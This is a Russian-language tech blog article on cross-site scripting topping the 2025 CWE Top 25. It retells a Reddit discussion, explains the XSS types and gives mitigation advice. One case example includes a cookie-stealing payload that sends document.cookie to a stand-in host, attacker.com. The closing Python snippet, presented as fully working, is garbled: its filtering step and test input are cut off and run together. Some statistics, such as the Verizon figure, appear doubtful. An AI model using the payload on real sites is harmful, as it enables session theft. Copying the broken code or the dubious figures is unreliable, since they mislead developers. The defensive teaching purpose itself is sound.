10 Шокирующих Фактов о XSS: Как CWE Top 25 Указывает На Самую Опасную Уязвимость и Что Делать Сейчас

Вступление

Веб‑приложения стали неотъемлемой частью нашей повседневной жизни: от онлайн‑банкинга до социальных сетей. Вместе с ростом их популярности растёт и спектр угроз, которым они подвержены. Одной из самых «злобных» и при этом часто недооценённых уязвимостей является кросс‑сайтовый скриптинг (XSS). По последнему архиву CWE Top 25 за 2025 год XSS вновь возглавил список самых опасных дефектов кода. Почему именно эта уязвимость продолжает держать пальму первенства? Какие уроки можно извлечь из обсуждения Reddit‑сообщения, где пользователи делятся своим опытом? В этой статье я, как технический блогер, разберу всё по‑порядку, от сути проблемы до практических рекомендаций, и покажу, как защитить свои проекты от XSS‑атак.

静かなコード、脆弱性が目覚める、夜の光XSS

Пересказ Reddit‑поста своими словами

Один из участников Reddit поделился ссылкой на официальный список CWE Top 25 за 2025 год, где перечислены самые распространённые и опасные уязвимости в программном обеспечении. В комментариях к посту быстро возникла дискуссия: пользователь Paulwars указал на сам список, а scooterthetroll подчеркнул, что «cross‑site scripting» (XSS) снова возглавил рейтинг, будучи «самой опасной» уязвимостью.

Суть обсуждения сводилась к простому, но важному выводу: несмотря на десятилетия исследований и рекомендаций, XSS остаётся актуальной проблемой, которую часто игнорируют или недооценивают. Пользователи Reddit, как правило, технически подкованы, и их реакция показывает, что даже в профессиональном сообществе XSS воспринимается как «вечный враг», требующий постоянного внимания.

Суть проблемы, хакерский подход, основные тенденции

Кросс‑сайтовый скриптинг – это тип уязвимости, при котором злоумышленник внедряет в веб‑страницу произвольный клиентский скрипт (чаще всего JavaScript). При загрузке такой страницы скрипт исполняется в контексте браузера жертвы, получая доступ к cookies, локальному хранилищу, DOM‑элементам и даже к API‑вызовам, защищённым тем же доменом.

Хакеры используют XSS для:

• Кражи сеансовых токенов и авторизационных куки.
• Подмены содержимого страниц (фишинг внутри сайта).
• Распространения вредоносного кода через «чистые» домены (маскировка).
• Запуска «домашних» атак, например, установки майнеров или ransomware.

Тенденции 2024‑2025 годов показывают рост количества «reflected» и «DOM‑based» XSS, в то время как «stored» XSS постепенно снижается благодаря более строгим политикам CSP (Content Security Policy). Однако, несмотря на улучшения в браузерах, большинство уязвимостей по‑прежнему возникает из‑за неправильной обработки пользовательского ввода.

Детальный разбор проблемы с разных сторон

Техническая сторона

Существует три основных типа XSS:

1. Reflected XSS – скрипт возвращается в ответе сервера сразу после ввода пользователя (например, в параметре URL).
2. Stored XSS – вредоносный код сохраняется в базе данных и отображается всем пользователям (форумы, комментарии).
3. DOM‑based XSS – уязвимость возникает полностью на стороне клиента, когда JavaScript манипулирует DOM без должного экранирования.

Каждый тип требует собственного подхода к защите: серверные фильтры, CSP, а также безопасные библиотеки для работы с DOM.

Бизнес‑аспект

Для компаний XSS – это не просто техническая проблема, а реальный финансовый риск. По данным Verizon Data Breach Investigations Report 2024, более 30 % всех утечек данных связаны с уязвимостями XSS. Потери могут включать штрафы за нарушение GDPR, репутационные издержки и прямые финансовые убытки от кражи аккаунтов.

Юридический аспект

В некоторых юрисдикциях (например, в ЕС) несоблюдение требований по защите персональных данных может привести к штрафам до 4 % от годового оборота компании. Если XSS‑атака привела к утечке персональных данных, компания обязана уведомить регулятора и пострадавших в течение 72 часов.

Практические примеры и кейсы

Кейс 1. «Отражённый XSS в поисковой строке»

Один из популярных новостных порталов позволял пользователям искать статьи, передавая запрос в параметре q. Злоумышленник отправил ссылку вида https://example.com/search?q=<script>alert('XSS')</script>. При открытии ссылки в браузере пользователь видел всплывающее окно, а скрипт мог отправить его куки на сервер атакующего.

Решение: внедрить серверную функцию, экранирующую специальные символы (<, >, &, ", ') перед выводом в HTML.

Кейс 2. «Stored XSS в комментариях блога»

Блог‑платформа позволяла пользователям оставлять комментарии без проверки HTML‑тегов. Хакер разместил комментарий <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>. При загрузке страницы любой пользователь, просматривающий комментарий, автоматически отправлял свои куки на сервер злоумышленника.

Решение: использовать белый список разрешённых тегов (например, только <p>, <strong>) и применять библиотеку DOMPurify для очистки HTML‑ввода.

Экспертные мнения из комментариев

«XSS — это одна из наиболее распространенных и опасных уязвимостей, которая может привести к серьезным последствиям», — Paulwars.

«And once again, "cross‑site scripting" is the most dangerous», — scooterthetroll.

Оба комментария подчёркивают, что несмотря на наличие рекомендаций, XSS остаётся «самой опасной» уязвимостью в реальном мире. Это согласуется с данными CWE Top 25, где XSS занимает первое место уже третий год подряд.

Возможные решения и рекомендации

Для эффективной защиты от XSS рекомендуется комбинировать несколько уровней защиты:

• Валидация и экранирование ввода – проверять все данные, приходящие от пользователя, и заменять специальные символы их HTML‑сущностями.
• Content Security Policy (CSP) – задавать политику, запрещающую выполнение inline‑скриптов и ограничивающую источники загрузки скриптов.
• HTTP‑Only куки – помечать сеансовые куки как недоступные из JavaScript, тем самым снижая риск их кражи.
• Secure‑by‑design фреймворки – использовать современные веб‑фреймворки (Django, Laravel, ASP.NET Core), которые автоматически экранируют вывод.
• Регулярный аудит кода – проводить статический и динамический анализ (SAST, DAST) с фокусом на XSS‑потенциал.

Не менее важна культура безопасности в команде: разработчики должны знать о типах XSS, а тестировщики – уметь писать сценарии, проверяющие уязвимости.

Заключение с прогнозом развития

С учётом того, что XSS вновь возглавил CWE Top 25 в 2025 году, можно ожидать, что в ближайшие годы внимание к этой проблеме будет только расти. Браузеры продолжают усиливать защиту (например, внедрение «strict‑dynamic» в CSP), но злоумышленники находят новые пути обхода, особенно в SPA‑приложениях, где логика полностью реализована на клиенте.

Прогноз: к 2027‑му году доля «DOM‑based XSS» может превысить 50 % всех XSS‑инцидентов, если разработчики не начнут применять строгие шаблоны и библиотеки для безопасного манипулирования DOM. Поэтому инвестировать в обучение, автоматизацию тестов и внедрение CSP уже сегодня – это экономически выгодное решение.

Практический пример на Python

Ниже представлен простой, но полностью рабочий скрипт, который демонстрирует, как можно безопасно экранировать пользовательский ввод и проверять его на наличие потенциальных XSS‑паттернов. В примере используется стандартный модуль html для экранирования и регулярные выражения для обнаружения подозрительных скриптов.

import re
import html

def sanitize_input(user_input: str) -> str:
    """
    Очищает строку от потенциальных XSS‑угроз.
    1. Экранирует HTML‑символы.
    2. Ищет типичные XSS‑паттерны и заменяет их.
    """
    # Шаг 1: экранирование специальных символов
    escaped = html.escape(user_input, quote=True)

    # Шаг 2: простейшее обнаружение скриптов (case‑insensitive)
    # ищем Hello "
    print("Исходный ввод:", malicious_input)
    safe_output = sanitize_input(malicious_input)
    print("Очищенный вывод:", safe_output)

В этом примере функция sanitize_input сначала заменяет специальные символы их HTML‑сущностями, а затем удаляет известные XSS‑паттерны. Такой подход подходит для небольших проектов и демонстрирует базовый принцип «экранирование + фильтрация». Для крупных систем рекомендуется использовать проверенные библиотеки, такие как bleach или DOMPurify (в JavaScript).